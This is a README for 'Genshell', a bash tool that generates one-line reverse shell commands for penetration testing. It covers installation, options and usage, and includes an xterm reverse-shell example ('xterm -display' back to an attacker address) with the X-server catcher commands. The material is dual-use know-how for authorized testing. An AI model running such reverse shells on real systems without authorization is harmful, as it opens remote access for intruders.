Home

Awesome

Genshell: A bash copy-and-paste oneline reverse shell generator.

This project is deticated to ippsec. Thank you for releasing over one-hundred hours of phenomenal cybersecurity content.

Another thanks to pentestmonkey for dishing out the awesome shells!

Forenote

I found myself browsing other websites flagged as "malicious" for rev shells and got fed up with with security reccomendations. This script automates the generation of shells without leaving the terminal (WITH COLORS!). There will likely be rev shells here that you have seen on other sites such as pentestmonkey, hacktricks, and other pentesting sites; if a shell from your site is used, you will be added to the "Inspirations" section in the beginning of the script. All contributions welcome. This is me giving back to the community that has shared so much with me.

<!-- *** LOGO !![vmplayer_bx33YLqLcn](https://user-images.githubusercontent.com/68730121/106347752-dc8c6a80-628e-11eb-91e9-3e2d510b2172.png) ![Banner](https://user-images.githubusercontent.com/68730121/106348443-58d57c80-6294-11eb-8aa0-b93806259f58.png) -->

Genshell Output

vmplayer_0bpLvQBUgZ

<!-- GETTING STARTED -->

Installation

  1. Using the GitHub repo

    git clone https://github.com/djjoa/genshell.git
    cd genshell
    chmod +x gennshell
    ./genshell 
    
  2. As a standalone script

    wget https://raw.githubusercontent.com/djjoa/genshell/main/genshell && chmod +x genshell && ./genshell
    #OR 
    curl https://raw.githubusercontent.com/djjoa/genshell/main/genshell -o genshell && chmod +x genshell && ./genshell
    
  3. Link the file to your path for native use with bash (not necessary for the script to work)

    # Before
    ./genshell -h 
    
    # After 
    sudo ln -s /genshell_install_dir/genshell /usr/local/bin/genshell 
    genshell -h
    
<!-- USAGE EXAMPLES -->

Help

./genshell -h

genshell: The atomatic copy-and-paste oneline reverse shell generator. Just add args!

options:
-h|--help              Print this help menu
-b|--banner            Display the banner
-p|--port [INT]        Port you wish to cach your shell back on
-l|--LHOST [IP]        Supply TUN0 addr if not auto-parsed by the script (autoparse is set by default)
-t|--RHOST [IP]        Target IP (optional)

Usage

./genshell -u
Usage: genshell [-h|--help] -p|--port [args] [-l|--LHOST [args]] [-t|--RHOST [args]] [-b|--banner]

Running the Script

When run with no arguments, the script displays the banner and help information.

vmplayer_HhJF2BiEUP

Generating Reverse Shell Templates

To generate all reverse shell templates the -p or --port must be used. The script will attempt to automatically parse your tun0 network adapter (assuming you are pentesting over a vpn). If it fails, the -l or --LHOST agument may be passed to manually specificy a listening network adapter.

./genshell -p 4444

vmplayer_0bpLvQBUgZ

Additional Arguments

If the -t or --RHOST argument is passed the xterm reverse shell dialog will be displayed at the end of the script. 90% of the shell's don't require a RHOST paramter; they have been ommited by default.

./genshell -p 4444 -l 1.1.1.1 -t 4.4.4.4
.... <snip> .... 
##################### XTERM ##################### 
The following command should be run on the server.  It will try to connect back 1.1.1.1 on TCP port 6001

xterm -display 1.1.1.1:1

To catch the incoming xterm, start an X-Server on attacker machine (:1 – which listens on TCP port 6001)

Xnest :1
xhost +4.4.4.4

Usage Examples

./genshell --port 4444 --LHOST 192.168.4.2
./genshell  -p    4444  -l 192.168.4.2
./genshell --port 8181
./genshell -p 8181
<!-- CONTACT -->

Contact

Enjoy the shellz! Never leave the terminal again to get exactly what you need to get the job done.

Zer0 - @x41x41x41x41 - Discord Zer0#0272

Project Link: https://github.com/djjoa/genshell

<!-- ACKNOWLEDGEMENTS -->

Acknowledgements

<!-- MARKDOWN LINKS & IMAGES --> <!-- https://www.markdownguide.org/basic-syntax/#reference-style-links -->